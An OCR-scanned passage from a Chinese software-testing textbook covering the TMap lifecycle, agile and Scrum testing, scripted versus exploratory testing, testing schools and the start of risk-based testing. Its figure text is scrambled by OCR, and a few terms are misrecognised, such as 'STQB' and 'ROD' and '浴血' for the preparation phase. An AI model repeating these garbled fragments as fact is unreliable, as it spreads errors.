的 成 本 ,有 效 地 、 彻 底 地 完成 测试 任务 ,以 减少 软件 发 布 后 的 支持 成 本 。TMap 所 定义 的 测试 
生命 周期 由 计划 和 控制 .基础 设施 ,准备 ,说明 、 执 行 和 完成 等 阶段 组 成 ,如 图 4-3 所 示 。 这 个 
过 程 目前 也 被 STQB(International Software Testing Qualification Board, 国 际 软 件 测试 资质 
认证 委员 会 ) 所 采用 ,成 为 测试 过 程 的 标准 。 


Control (控制 ification (说 明 ) ， 
对 测试 执行 过 程 进 包括 测试 需求 分 析 、 详 
Preparation (浴血 )， 行 监督 与 控制 等 细 设 计 测试 用 全 


包括 可 测试 性 评审 、 
确定 技术 方法 


Execution (执行 ) ， 
包括 预测 试 、 测 试 、 


Planning (计划 ) ， 重新 测试 、 检 查 、 评 
包括 评审 和 研究 、 开 估 等 活动 
发 测试 策略 (风险 
人 全 
立 
Completed (完成 ) ， 
于 包括 维护 测试 件 、 评 


估 测 试 过 程 


Infrastructure 一 过 建立 测试 
执行 、 测 试 件 管理 、 缺 陷 管 理 等 所 需 
的 环境 ， 包 括 自动 化 测试 框架 


图 4-3 TMap 描述 的 生命 周期 模型 


(1) 计划 和 控制 阶段 涉及 测试 计划 的 创建 ,定义 了 执行 测试 活动 的 ”Who, What, When， 
Where and How”。 在 测试 过 程 中 ,通过 定期 和 临时 的 报告 ,客户 可 以 经 常 收 到 关于 产品 质量 
和 风险 的 更 新 。 

(2) 基础 设施 建立 测试 执行 ,测试 件 管理 ,缺陷 管理 等 所 需 的 环境 ,包括 自动 化 测试 框架 。 

(3) 准备 阶段 决定 软件 说 明 书 质量 是 否 足 以 实现 说 明 书 和 测试 执行 的 成 功 。 

(4) 说 明 阶段 涉及 定义 测试 用 例 和 构建 基础 设施 。 一 旦 测试 目标 确定 ,测试 执行 阶段 就 
开始 。 

(5) 执行 阶段 ,需要 分 析 预 计 结果 和 实际 结果 的 区 别 ,发 现 缺 陷 并 报告 缺陷 。 


(6) 完成 阶段 包括 对 测试 资料 的 维护 以 便于 再 利用 ,创建 一 个 最 终 的 报告 以 及 为 了 更 好 
地 控制 将 来 的 测试 过 程 对 测试 过 程 进行 评估 。 

TMap 提供 了 一 个 完整 的 一致 的 .灵活 的 方法 ,可 
以 根据 特定 环境 创建 量 身 订 制 的 测试 方法 ,以 及 在 不 同 
的 特定 环境 中 可 以 采用 的 通用 方法 ,从 而 适合 于 各 种 行 
业 以 及 各 种 规模 的 组 织 。TMap 通过 下 列 三 项 基石 : O、 
IT, 支 持 整个 生命 周期 (L), 从 而 构成 其 稳固 的 方法 体 
系 , 如 图 4-4 所 示 。 

(1) 与 软件 开发 生命 周期 一 致 的 测试 活动 生命 周期 ”图 4-4 TMap 测试 方法 体系 的 基石 
(LL) , 它 描述 了 在 测试 过 程 中 的 某 些 特殊 阶段 需要 实施 的 
活动 。 

(2) 坚实 的 组 织 融 合 (O) , 它 强 调 测试 小 组 必须 融入 到 项 目 组 织 中 ,而 且 每 个 测试 成 员 都 
必须 被 分 配 任务 和 承担 责任 。 

(3) 正确 的 基础 设施 和 工具 (TD) , 它 说 明 为 了 获得 最 优化 的 结果 ,需要 适当 的 基础 设施 和 
工具 。 其 中 ,测试 环境 ?必须 稳定 .可 控制 和 有 代表 性 ,有 必要 通过 工具 的 使 用 提高 测试 的 有 
效 性 。 

(4) 可 用 的 技术 (T) ,是 指 支持 测试 过 程 的 技术 ,这些 技术 用 于 定义 基于 风险 的 测试 策略 ， 
支持 有 计划 的 测试 过 程 ,研究 和 审查 测试 基准 ,详细 说 明 测 试用 例 以 及 如 何 提交 报告 。 技 术 可 
以 促进 实施 结构 化 的 、 可 重复 的 测试 执行 活动 。 

为 了 实现 一 个 结构 化 良好 的 测试 过 程 ,各 个 基石 应 该 达到 一 个 平衡 。 生 命 周 期 基石 是 其 
他 的 中 心 一 一 生命 周期 的 每 个 阶段 都 要 求 有 特定 的 组 织 、 基 础 设施 和 技术 的 支持 。 测 试 不 仅 
是 计算 机 屏幕 后 的 测试 用 例 执 行 。 在 真正 的 测试 执行 之 前 ,在 过 程 早 期 阶段 的 计划 和 准备 活 
动 都 是 必需 的 。 这 使 得 项 目 关 键 路 径 上 的 测试 过 程 尽 可 能 的 短 。TMap 方法 体系 就 是 基于 上 
述 思 想 建立 起 来 的 ,其 详细 内 容 见 表 4-1。 

表 4-1 TMap 方法 模型 基本 内 容 


序号 | 阶段 /类 别 活 动 
i 完成 任务 安排 

2 全 局 的 评审 和 研究 

3 建立 测试 基线 

4 确定 测试 策略 

5 计划 建立 测试 组 织 

6 明确 说 明 需 提交 的 测试 结果 

7 明确 说 明 测 试 基础 设施 

8 组 织 管理 和 控制 

9 建立 进度 表 

10 合并 测试 计划 

11 维护 测试 计划 

控 控制 测试 过 程 

13 二 报告 

14 建立 详细 的 测试 进度 表 

15 基础 设施 | 建立 测试 执行 ,测试 件 管理 ,缺陷 管理 等 所 需 的 环境 ,包括 自动 化 测试 框架 


续 表 
序号 | 阶段 /类 别 活 动 
16 测试 基线 的 可 测试 性 评审 
17 准备 定义 测试 单元 
18 指定 测试 规格 说 明 书 的 技术 
19 准备 测试 规格 说 明 书 
20 定义 初始 的 测试 数据 库 
21 开发 测试 脚本 
22 | 党 明 [设计 测试 场景 
23 测试 目标 和 基础 设施 的 评审 说 明 
24 构建 测试 基础 设施 
25 测试 目标 和 基础 设施 的 评审 
26 执行 建立 初始 的 测试 数据 库 
27 执行 测试 
28 比较 和 分 析 测 试 结果 
29 完成 解散 测试 团队 


TMap 为 实现 有 效 的 和 高 效 的 测试 过 程 提供 了 一 个 途径 ,使 得 软件 组 织 可 以 实现 关键 的 
商业 目标 。 

(1) 有 效 是 因为 能 发 现 与 产品 风险 直接 相关 的 重要 缺陷 。 

(2) 高 效 是 因为 TMap 是 一 个 普遍 适用 的 方法 , 它 强 调 重用 并 采用 基于 风险 的 策略 。 这 
样 的 策略 使 得 我 们 需要 做 出 明智 的 决定 : 测试 什么 和 如 何 彻 底 测试 它们 而 不 是 测试 所 有 
内 容 。 

在 TMap 的 基础 上 ,还 开发 了 一 些 其 他 的 方法 。 所 有 这 些 方 法 都 可 以 单独 使 用 或 综合 起 
来 使 用 。 例 如 : 

(1) TPI(Test Process Improvement ,测试 过 程 改进 ) ,一 个 逐步 完善 测试 过 程 的 模型 。 

(2) TAKT(Test Automation Knowledge and Tools ,测试 自动 化 知识 和 工具 ) 。 

(3) Tsite, 为 如 何在 一 个 永久 的 测试 组 织 中 实施 测试 过 程 建立 了 有 效 的 框架 。 

(4) TEmb, 应 用 了 TMap 中 定义 的 结构 化 测试 的 4 个 要 素 , 建 立 一 种 对 嵌入 式 软件 进行 
结构 化 测试 的 方法 。 


4.2 ”敏捷 测试 过 程 


什么 是 敏捷 测试 ? 简单 地 说 ,敏捷 测试 是 符合 敏捷 测试 宣言 的 思想 、 遵 守 敏 捷 开 发 原则 ， 
在 敏捷 开发 环境 下 能 够 很 好 地 和 其 整体 开发 流程 融合 的 一 系列 的 测试 实践 。 敏 捷 测 试 作为 敏 
捷 开 发 的 组 成 部 分 ,能 够 适应 敏捷 开发 的 流程 ,有 效 地 帮助 敏捷 开发 实现 对 质量 的 控制 或 促进 
软件 产品 的 质量 提升 。 敏 捷 测 试 强调 测试 人 员 的 个 人 技能 ,始终 保持 与 客户 /用 户 、 其 他 成 员 
(特别 是 业务 人 员 、 产 品 设计 人 员 等 ) 的 紧密 协作 ,建立 良好 的 测试 框架 (特别 是 持续 集成 测试 
和 自动 化 回归 测试 的 基础 设施 ) 以 适应 需求 的 变化 ,更 关注 被 测 系统 的 本 身 而 不 是 测试 文档 
(如 测试 计划 ,测试 用 例 等 )。 


4.2.1 敏捷 测试 的 特征 


敏捷 测试 具有 鲜明 的 敏捷 开发 的 特征 ,如 测试 驱动 开发 (Test-Driven Development， 
TDD) .验收 测试 驱动 开发 (Acceptance Test Driven Development, ATDD)。 测 试 驱动 开发 的 
思想 是 敏捷 测试 的 核心 ,或 者 说 ,单元 测试 是 敏捷 测试 的 基础 ,如 果 没 有 足够 的 单元 测试 就 无 
法 应 付 将 来 需求 的 快速 变化 ,也 无 法 实现 持续 的 交付 。 这 也 说 明 ,在 敏捷 测试 中 ,开发 人 员 承 
担 更 多 的 测试 ,软件 测试 更 依赖 整个 团队 的 共同 努力 。 在 敏捷 测试 中 ,可 以 没有 专职 的 测试 人 
员 , 每 个 人 都 可 以 主动 去 取 设 计 任务 ,代码 任务 做 ,也 可 以 去 拿 测 试 任务 来 做 。 在 敏捷 测试 中 ， 
也 可 以 像 开 发 人 员 的 结对 编程 那样 ,实践 结对 测试 一 一 一 个 测试 人 员 对 应 一 个 开发 人 员 ,或 一 
个 测试 人 员 对 应 另 一 个 测试 人 员 。 敏 捷 测试 的 实践 具有 鲜明 的 敏捷 开发 的 特征 ,与 传统 测试 
的 区 别 , 可 以 概括 如 下 。 

(1) 传统 测试 更 强调 测试 的 独立 性 ,将 “开发 人 员 ” 和 “测试 人 员 ” 角 色 分 得 比较 清楚 。 而 
敏捷 测试 可 以 有 专职 的 测试 人 员 ,也 可 以 是 全 民 测 试 , 即 在 敏捷 测试 中 ,可 以 没有 “测试 人 员 ” 
角色 ,强调 整个 团队 对 测试 负责 。 

(2) 传统 测试 更 具有 阶段 性 ,从 需求 评审 .设计 评审 .单元 测试 到 集成 测试 .系统 测试 等 ， 
从 测试 计划 ,测试 设计 再 到 测试 执行 ,测试 报告 等 。 例 如 ,需求 评审 ,意味 着 先 让 产品 人 员 去 写 
需求 ,但 需求 文档 写 好 之 后 ,测试 人 员 再 参加 评审 。 但 敏捷 测试 团队 每 一 天 都 在 一 起 工作 ,一 
起 讨论 需求 ,一 起 评审 需求 ,更 强调 持续 测试 ,持续 的 质量 反馈 ,测试 的 持续 性 更 为 显著 。 

(3) 传统 测试 强调 测试 的 计划 性 ,认为 没有 良好 的 测试 计划 和 不 按 计划 执行 ,测试 就 难以 
控制 和 管理 ,而 敏捷 测试 更 强调 测试 的 速度 和 适应 性 ,侧重 计划 的 不 断 调整 以 适应 需求 的 
变化 。 

(4) 传统 测试 强调 测试 是 由 “验证 "和 “确认 ”两 种 活动 构成 的 ,而 敏捷 测试 没有 这 种 区 分 ， 
始终 以 用 户 需求 为 中 心 ,每 时 每 刻 不 离 用 户 需求 ,将 验证 和 确认 统一 起 来 。 

(5) 传统 测试 强调 任何 发 现 的 缺陷 要 记录 下 来 ,以 便 进行 缺陷 根本 原因 分 析 , 达 到 缺陷 预 
防 的 目的 ,并 强调 缺陷 跟踪 和 处 理 的 流程 ,区 分 测试 人 员 和 开发 人 员 的 各 自 不 同 的 责任 。 而 敏 
捷 测 试 强调 面对面 的 沟通 .协作 ,强调 团队 的 责任 ,不 太 关注 对 缺陷 的 记录 与 跟踪 。 

(6) 传统 测试 更 关注 缺陷 ,围绕 缺陷 开展 一 系列 的 活动 ,如 缺陷 跟踪 、 缺 陷 度 量 、 缺 陷 分 
析 、 缺 陷 报告 质量 检查 等 ,而 敏捷 测试 更 关注 产品 本 身 ,关注 可 以 交付 的 客户 价值 。 在 快速 交 
付 的 敏捷 开发 模式 下 ,缺陷 修复 的 成 本 很 低 。 

(7) 传统 测试 鼓励 自动 化 测试 ,但 由 于 传统 开发 的 周期 比较 长 ( 几 个 月 到 几 年 ), 即 使 没有 
自动 化 测试 也 是 可 以 应 付 的 ,一 般 来 说 ,回归 测试 能 够 获得 几 周 时 间 , 甚 至 一 两 个 月 的 时 间 , 自 
动 化 测试 的 成 功 与 否 对 测试 没有 致命 的 影响 。 敏 捷 测 试 的 持续 性 迫切 要 求 测试 的 高 度 自 动 
化 ,在 1 一 3 天 内 就 要 完成 整个 的 验收 测试 (包括 回归 测试 )。 没 有 自动 化 ,就 没有 敏捷 ,自动 化 
测试 是 敏捷 测试 的 基础 。 


4.2.2 敏捷 测试 流程 


在 敏捷 测试 流程 中 ,参与 单元 测试 ,关注 持续 迭代 的 新 功能 ,针对 这 些 新 功能 进行 足够 的 
验收 测试 ,而 对 原 有 功能 的 回归 测试 则 依赖 于 自动 化 测试 。 由 于 敏捷 方法 中 迭代 周期 短 ,测试 
人 员 应 尽早 开始 测试 ,包括 及 时 对 需求 ,开发 设计 的 评审 ,更 重要 的 是 能 够 及 时 、 持 续 地 对 软件 
产品 质量 进行 反馈 。 简 单 地 说 ,在 敏捷 开发 流程 中 ,阶段 性 不 够 明显 ,持续 测试 和 持续 质量 反 


馈 的 特征 明显 ,这 可 以 通过 图 4-5 来 描述 。 


产品 经 理 
A 4 A A 
/ /” 质量 问题 持续 反馈 / / 
敏捷 一 [ 需求 | |{ 设计 上 代码 人 功能 ( 丰 功 能 特 人 性} 一 笋 二 
质量 问题 持续 反馈 NA \ \ 
开发 人 员 


图 4-5 敏捷 测试 过 程 示意 图 


如 果 再 具体 一 些 ,使 流程 更 具 可 操作 性 ,这 里 以 敏捷 Scrum 为 例 , 来 介绍 敏捷 测试 的 流 
程 。 先 看 看 Scrum 流程 ,从 图 4-6 中 可 以 看 出 ,除了 最 后 “验收 测试 阶段 ,其 他 过 程 似乎 没有 
显著 的 测试 特征 ,但 隐 含 的 测试 需求 和 特征 还 是 存在 的 。 


1~4 周 迭代 
Sprint 
Product Backlog 


产品 交付 


验收 测试 
Sprint Backlog 


4-6 ”Scrum 流程 示意 图 


(1) Product Backlog( 发 布 计 划 ,需求 定义 阶段 ) ,在 定义 用 户 需求 时 测试 要 做 什么 ? 测试 
除了 需要 考虑 客户 的 价值 大 小 (优先 级 ) .工作 量 基 本 估算 之 外 ,还 需要 认真 研究 与 产品 相关 的 
用 户 的 行为 模式 .产品 的 质量 需求 ,哪些 质量 特性 是 需要 考虑 的 ?” 有 哪些 竞争 产品 ? 这 些 竞争 
产品 有 什么 特点 (优点 、 缺 点 等 )? 

(2) Sprint Backlog( 人 迭代 计划 ,阶段 性 任务 分 解 和 安排 ), 这 时 需要 明确 具体 要 实现 的 功 
能 特性 和 任务 ,作为 测试 ,这 时 要 特别 关注 “Definition of Done”, 即 每 项 任务 结束 的 要 求 -一 
即 任务 完成 的 验收 标准 ,特别 是 功能 特性 的 设计 和 代码 实现 的 验收 标准 。ATDD 的 关键 一 步 
也 体现 在 这 里 ,在 设计 、 写 代码 之 前 ,就 要 将 验收 标准 确定 下 来 。 一 方面 符合 测试 驱动 开发 思 
想 ,第 一 次 就 要 把 事情 做 对 ,预防 缺陷 ; 另 一 方面 持续 测试 和 验收 测试 的 依据 也 清楚 了 ,可 以 
快速 做 出 测试 通过 与 否 的 判断 。 

(3) 在 每 个 迭代 (Sprint) 实 施 阶段 ,主要 完成 Sprint Backlog 所 定义 的 任务 ,这 时 除了 
TDD 或 单元 测试 之 外 ,应 该 进行 持续 集成 测试 或 通常 说 的 BVT(Build Verification Test, 版 本 
验证 测试 )。 而 且 开 发 人 员 在 设计 、 写 代码 时 应 认真 考虑 每 一 组 件 或 每 一 代码 块 都 具有 可 测试 
性 。 如 果 有 专职 的 测试 人 员 角 色 , 一 方面 可 以 完善 单元 测试 .集成 测试 框架 ,协助 开发 人 员 进 
行 单元 测试 ; 另 一 方面 可 以 针对 新 实现 的 功能 特性 进行 更 多 的 探索 式 测试 ,同时 开发 验收 测 
试 的 和 脚本。 如果 没有 专职 的 测试 人 员 角 色 ,这些 事情 也 是 要 完成 ,只 是 由 整个 团队 共同 完成 。 
虽 没 有 工种 (开发 ,测试 ) 的 分 工 ,但 也 存在 任务 的 分 工 。 

(4) 验收 测试 可 以 由 自动 化 测试 工具 完成 ,但 一 般 情 况 下 ,不 可 能 做 到 百分之百 的 自动 化 
测试 。 例 如 , 易 用 性 测试 就 很 难 由 工具 完成 。 即 使 对 性 能 测试 ,是 由 工具 完成 ,但 还 需要 人 来 


设计 测试 场景 ,包括 关键 业务 选择 负载 模式 等 。 敏 捷 的 验收 测试 和 传统 的 验收 测试 不 同 , 侧 
重 对 “Definition of Done” 的 验证 ,但 基本 的 思想 和 传统 开发 是 一 致 的 ,任何 没有 经 过 验证 的 产 
品 特性 是 不 能 直接 发 布 出 去 的 。 


4.2.3 基于 脚本 测试 和 探索 式 测试 


在 传统 测试 中 受 传 统 软件 开发 模型 的 影响 ,测试 的 流程 经 过 测试 计划 、 设 计 测试 用 例 、 执 
行 测试 用 例 这 样 经 典 的 过 程 。 类 似 于 拍 电影 时 需要 剧本 一 样 ,测试 用 例 可 以 看 作 手 工 执行 的 
脚本 ,而 工具 执行 测试 需要 像 程 序 代 码 那 样 的 自动 化 测试 脚本 ,把 测试 用 例 和 自动 化 测试 脚本 
都 可 归 为 测试 的 “脚本 ”。 所 以 ,传统 测试 多 数 情况 都 是 先 设计 脚本 ,之 前 也 没有 可 执行 的 程 
序 , 这 段 时 间 先 完成 设计 ,一旦 程序 可 以 运行 ,就 可 以 进行 大 规模 测试 (执行 ) 一 一 基于 脚本 的 
测试 执行 (Scripted Test,ST) 。 而 探索 式 测试 (Exploratory Test,ET) 强 调 测试 的 学 习 、 设 计 
和 执行 同时 展开 ,也 就 是 没有 测试 用 例 ,而 是 靠 头脑 想 ,一 面 想 一 面 测试 。 这 里 的 “ 想 (思考 )” 
就 是 设计 ,在 头脑 中 设计 ,但 不 需要 通过 文字 来 描述 出 来 。 

无 论 是 在 传统 测试 还 是 在 敏捷 测试 中 ,测试 人 员 或 多 或 少 都 会 进行 探索 式 测试 ,虽然 在 敏 
捷 测试 中 探索 式 测试 会 占有 更 大 的 比重 ,甚至 成 为 主导 的 方式 ,但 不 可 能 完全 代替 基于 脚本 的 
测试 。 因 为 ,探索 式 测试 和 基于 脚本 的 测试 有 各 自 的 优势 ,相互 补充 、 相 互 配合 ,才能 发 挥 各 自 
优势 ,使 测试 团队 获得 更 大 的 收益 。 

1. ST 为 主 ,ET 为 辅 

在 传统 开发 方法 中 ,有 较为 严格 的 需求 规范 和 设计 文档 ,有 充分 的 时 间 去 设计 足够 的 测试 
用 例 , 这 时 宜 采 用 基于 脚本 的 测试 ,探索 式 测试 只 是 作为 一 种 辅助 的 手段 发 现 更 多 隐藏 较 深 的 
缺陷 ,并 成 为 前 期 阶段 产品 学 习 的 途径 以 完善 测试 用 例 。 因 为 在 产品 设计 和 编程 阶段 ,测试 人 
员 拿 不 到 可 以 正常 工作 的 软件 ,不 能 进行 有 意义 的 测试 执行 ,而 把 主要 精力 放 在 测试 的 设计 
上 ,而 且 有 足够 的 需求 和 设计 文档 的 支持 。 一 旦 开发 完成 系统 集成 测试 ,测试 人 员 就 可 以 全 心 
做 测试 执行 ,由 于 绝 大 部 分 测试 用 例 已 就 绪 , 测 试 执行 效率 高 。 

2. ET 为 主 ,ST 为 辅 

然而 ,在 敏捷 测试 中 ,由 于 迭代 快 .开发 周期 短 、 需 求 不 明确 、 需 求 变 化 相对 频繁 ,缺乏 需求 
和 设计 的 详细 描述 文档 ,探索 式 测试 发 挥 更 大 的 作用 ,在 新 功能 测试 中 发 挥 主导 的 作用 。 这 是 
因为 ; 

(1) 如 果 需 求 不 明确 ,无 法 建立 明确 的 测试 结果 判断 准则 ,也 就 无 法 写成 测试 用 例 或 自动 
化 测试 脚本 , 而 是 需要 靠 测 试 人 员 综 合 运 用 启发 式 判断 准则 ,在 执行 过 程 中 根据 上 下 文 
(Context) 做 出 判断 。 

(2) 如 果 需 求 变化 快 ,脚本 化 的 测试 用 例 维护 成 本 也 过 高 ,甚至 是 极 大 的 浪费 。 

(3) 把 测试 过 程 写 下 来 (脚本 化 ) 需 要 时 间 ,在 敏捷 测试 中 ,时 间 显 得 更 为 珍贵 。 

(4) 探索 式 测试 的 倡议 者 还 认为 ,测试 执行 过 程 应 该 是 智力 活动 的 过 程 ,这 一 过 程 越 善于 
思考 . 越 流畅 , 越 有 机 会 发 现 缺 陷 。 而 用 例 测 试 方法 ,有 太 多 的 停顿 ,不 够 流畅 ,会 破坏 这 一 
过 程 。 

探索 式 测试 都 是 手工 方式 进行 (虽然 有 工具 支持 ,如 辅助 录制 、 合 成 报告 等 ) ,不 适合 工作 
量 越 来 越 大 的 回归 测试 。 回 归 测 试 是 不 断 重 复 的 ,在 极 有 限 的 时 间 内 完成 越 来 越 多 的 测试 任 
务 , 回 归 测 试 绝对 依赖 基于 脚本 的 自动 化 测试 。 


3. ET 与 ST 相互 融合 

探索 式 测试 缺乏 良好 的 系统 性 、 复 用 性 ,可 以 通过 角色 扮演 、 基 于 场景 的 探索 式 测试 来 改 
善 其 系统 性 ,也 就 是 在 执行 探索 式 之 前 加 入 设计 , 即 大 颗粒 度 Mission 和 Charter 的 设计 ,如 
图 4-7 所 示 ,说 明 ET 和 ST 也 是 可 以 融合 的 ,甚至 ET 还 可 以 为 ST 服务 。 例 如 ,在 ET 过 程 
中 ,有 些 ET 的 执行 是 没有 价值 的 ,而 有 些 ET 的 执行 是 有 价值 的 ,而 我 们 关注 有 价值 的 ET 执 
行 ,将 它们 记录 下 来 ,使 之 成 为 固定 的 测试 用 例 ,用 于 将 来 的 回归 测试 。 这 样 将 ET 转化 为 
ST, 最 终 也 能 支持 自动 化 执行 ,提高 ET 的 复 用 性 。 


含糊 脚本 零散 的 测试 ”基于 场景 ”角色 扮演 
测试 用 例 的 ET 的 ET 


自由 
纯 自由 的 空间 风格 
ST 的 ET 


4-7 ST 和 ET 的 区 分 和 融合 


ET 对 团队 有 更 高 的 要 求 ,包括 测试 人 员 的 责任 感 , 个 人 的 能 力 、 信 任 度 。 如 果 团队 人 员 
素质 不 满足 ET 的 要 求 ,在 对 团队 进行 培训 的 同时 ,有 一 段 时 间 需 要 依赖 ST。 如 果 项 目测 试 
部 分 是 外 包 出 去 的 ,如 果 没有 测试 用 例 也 是 不 可 接受 的 。 无 论 是 在 传统 开发 模式 还 是 敏捷 开 
发 模式 ,都 应 该 综合 运用 ET 和 ST。 根据 项 目 、 产 品 、 团 队 的 实际 情况 ,确定 采用 什么 策略 ,是 
以 ET 为 主导 还 是 以 ST 为 主导 ; 是 先进 行 ET 测试 .后 ST 测试 ,还 是 先进 行 ST 测试 .后 进 
行 ET 测试 ; 测试 团队 中 由 哪 几 个 人 进行 ET 测试 、 哪 几 个 人 进行 ST 测试 等 等 ,都 需要 根据 
上 下 文 做 出 明智 的 抉择 。 


4.3 软件 测试 学 派 


近 几 年 ,敏捷 测试 .探索 式 测试 .精益 测试 .基于 模型 的 测试 等 越 来 越 受 到 人 们 的 关注 。 
《软件 测试 : 经 验 与 教训 ) 一 书 的 作者 Bret Pettichord 
在 2003 年 将 软件 测试 归 为 4 大 学 派 ,4 年 后 (2007 
年 ) 又 增加 了 一 个 敏捷 测试 学 派 ,将 软件 测试 分 为 
5 个 学 派 , 如 图 4-8 所 示 。 

(1) 分 析 学 派 (Analytic School) : 认为 软件 是 
录 辑 性 的 ,将 测试 看 作 计算 机 科学 和 数学 的 一 部 
分 ,结构 化 测试 ,代码 覆盖 率 就 是 其 中 一 些 典 型 的 
例子 。 他 们 认为 测试 工作 是 技术 性 很 强 的 工作 , 侧 图 4-8 软件 测试 5 大 学 派 示 意图 
重 使 用 类 似 UML 工具 进行 分 析 和 建 模 。 

(2) 标准 学 派 (Standard School) : 从 分 析 学 派 分 离 出 来 并 得 到 IEEE 的 支持 ,把 测试 看 作 
侧重 劣质 成 本 控制 并 具有 可 重复 标准 的 、 旨 在 衡量 项 目 进度 的 一 项 工作 ,测试 是 对 产品 需求 的 
确认 ,每 个 需求 都 需要 得 到 验证 。 

(3) 质量 学 派 (Quality School) : 软件 质量 需要 规范 ,测试 就 是 过 程 的 质量 控制 、 揭 示 项 目 
质量 风险 的 活动 ,确定 开发 人 员 是 否 遵守 规范 ,测试 人 员 扮 演 产 品质 量 的 守门 员 角 色 。 


(4) 上 下 文 驱动 学 派 (Context-Driven School) : 认为 软件 是 人 创造 的 ,测试 所 发 现 的 每 一 
个 缺陷 都 和 相关 利益 者 (Stakeholder) 密 切 相关 ; 认为 测试 是 一 种 有 技巧 的 心理 活动 ; 强调 人 
的 能 动 性 和 启发 式 测试 思维 。 探 索性 测试 就 是 其 典型 代表 。 

(5) 敏捷 学 派 (Agile School) : 认为 软件 就 是 持续 不 断 的 对 话 , 而 测试 就 是 验证 开发 工作 
是 否 完 成 ,强调 自动 化 测试 。TDD 是 其 典型 代表 。 

标准 学 派 和 质量 学 派 相 对 比较 成 熟 , 流 程 . 过 程 规范 等 基本 已 建立 ,包括 TPI、TMMi 等 比 
较 成 熟 ,虽然 未 来 会 有 一 些 修改 。 而 上 下 文 驱动 是 比较 自然 的 思路 ,其 他 学 派 也 或 多 或 少 会 从 
上 下 文 去 考虑 ,存在 融合 的 可 能 性 。 虽 然 分 析 学 派 和 上 下 文 驱 动 学 派 ,敏捷 学 派 有 一 定 对 立 关 
系 , 但 它们 相互 之 间 又 会 有 更 多 的 交融 ,而 且 敏 捷 方 法 主要 以 实践 为 基础 ,敏捷 测试 不 是 原 发 
性 的 ,而 是 先 有 敏捷 开发 。 然 后 人 们 被 动 地 寻求 测试 方法 和 技术 来 适应 敏捷 开发 。 敏 捷 测 试 
缺乏 自己 独立 的 理论 根基 ,更 多 地 依赖 于 上 下 文 驱动 学 派 的 支持 ,包括 探索 式 测试 和 自动 化 测 
试 。 其 中 ,自动 化 测试 是 敏捷 测试 主打 的 王牌 ,没有 自动 化 测试 就 没有 敏捷 测试 ,而 自动 化 测 
试 和 持续 集成 持续 测试 也 相当 吻合 。 

也 有 其 他 学 者 提出 不 同 的 看 法 ,把 软件 测试 学 派 分 为 工厂 学 派 ,控制 学 派 ,测试 驱动 学 派 、 
分 析 学 派 和 上 下 文 驱动 学 派 。 其 中 ,分 析 学 派 和 上 下 文 驱 动 学 派 和 上 面 那 种 划分 基本 重合 ,不 
同 的 是 前 面 三 个 学 派 ,但 也 有 一 定 的 映射 关系 。 

(1) 工厂 学 派 (Factory School) : 强调 将 测试 任务 演化 为 一 系列 的 操作 过 程 ,然后 这 些 操 
作 过 程 自动 化 以 后 ,获得 廉价 的 劳动 力 来 执行 测试 。 

(2) 控制 学 派 (Control School) : 强调 标准 和 依据 标准 建立 的 流程 ,相当 于 上 面 的 标准 学 派 。 

(3) 测试 驱动 学 派 (Test-driven School) : 强调 以 代码 为 焦点 的 测试 , 且 程 序 员 执 行 测试 ， 
相当 于 敏捷 测试 。 

(4) 分 析 学 派 : 为 了 评估 软件 质量 而 采用 分 析 的 方法 ,其 中 包括 通过 提高 需求 规格 说 明 
书 的 准确 性 、 各 种 建 模 来 提高 可 测试 性 。 

(5) 上 下 文 驱动 学 派 : 强调 适应 软件 开发 及 应 用 所 处 的 环境 。 

展望 未 来 ,测试 的 学 派 还 会 发 生 一 些 变化 。 工 厂 学 派 可 以 发 展 成 全 自动 化 测试 生产 线 , 形 
成 基于 模型 的 自动 化 测试 : 以 传统 测试 的 分 析 学 派 为 基础 ,强调 从 需求 分 析 开 始 ,为 需求 或 用 
户 行为 构建 模型 ,然后 基于 模型 自动 产生 和 执行 测试 用 例 , 它 更 适用 于 关键 系统 的 验证 。 基 于 
模型 的 测试 也 会 促进 自动 化 测试 的 发 展 ,这 两 者 之 间 是 相辅相成 的 。 没 有 测试 建 模 的 支持 , 自 
动 化 测试 靠 完全 模拟 手工 的 操作 方式 来 实现 ,其 实现 和 维护 代价 将 相当 大 ,使 之 投入 产 出 比 
(ROD 总 是 不 够 理想 ,阻碍 自动 化 测试 的 发 展 。 当 自动 化 测试 能 够 借助 基于 模型 的 测试 ,那么 
自动 化 测试 将 事半功倍 、 如 鱼 得 水 ,ROI 自然 也 会 很 高 。 基 于 模型 的 测试 ,最 终 也 需要 工具 的 
支持 ,如 Pairwise、 因 果 分 析 法 等 。 如 果 没 有 工具 支持 ,测试 人 员 就 会 感觉 很 累 而 不 愿 应 用 。 

基于 云 服 务 的 测试 模式 : 非 关 键 系统 在 前 期 系统 架构 设计 和 代码 实现 上 可 借助 良好 的 开 
发 框架 与 工具 \ 单 元 测试 和 持续 集成 等 工作 ,在 没有 专职 测试 团队 的 工作 情况 下 ,也 能 保证 产 
品质 量 处 在 一 个 基本 可 用 的 水 平 。 然 后 ,利用 上 述 的 公有 云 服 务 模式 来 完成 更 深度 的 测试 ,如 
可 用 性 测试 .配置 测试 .兼容 性 测试 .性 能 测试 都 可 以 在 云 平台 上 自动 完成 。 剩 余 的 功能 测试 
(包括 业务 流 测 试 .场景 测试 等 ) 就 可 以 交 给 大 众 ,通过 远程 服务 完成 测试 。 这 些 测试 人 员 可 能 
是 业余 志愿 者 ,也 可 能 是 在 家 工作 的 专业 测试 人 员 , 按 任务 领取 报酬 。 

测试 公有 云 提供 公共 的 、 开 放 的 测试 服务 , 像 UTest\SOASTA .SauceLab 和 Testin 等 ， 
可 以 完成 手机 应 用 、Web 应 用 或 其 他 应 用 的 功能 测试 .兼容 性 测试 .配置 测试 和 性 能 测试 等 。 


而 测试 私有 云 是 某 个 企业 为 自己 建立 的 云 测试 服务 ,将 测试 机 器 资源 、 测 试 工具 等 都 放 在 云 
端 ,公司 的 各 个 团队 都 可 以 共享 所 有 测试 资源 ,完成 从 自动 分 配 资源 、 自 动 部 署 到 测试 结果 报 
告 生成 的 测试 过 程 ,而 且 还 能 将 测试 流程 ,测试 管理 等 固化 在 私有 云 内 。 


4.4 基于 风险 的 测试 策略 


从 质量 风险 维度 来 看 ,软件 测试 可 以 被 定义 为 "对 软件 系统 中 潜在 的 各 种 风险 进行 评估 的 
活动 "。 软 件 测试 自身 的 风险 性 是 公认 的 ,测试 的 覆盖 度 不 能 做 到 100%。 测 试 的 这 种 风险 定 
义 一 方面 源 于 这 层 含义 ,另外 软件 测试 的 标准 有 时 不 清楚 ,* 软 件 规格 说 明 书 (Specification/ 
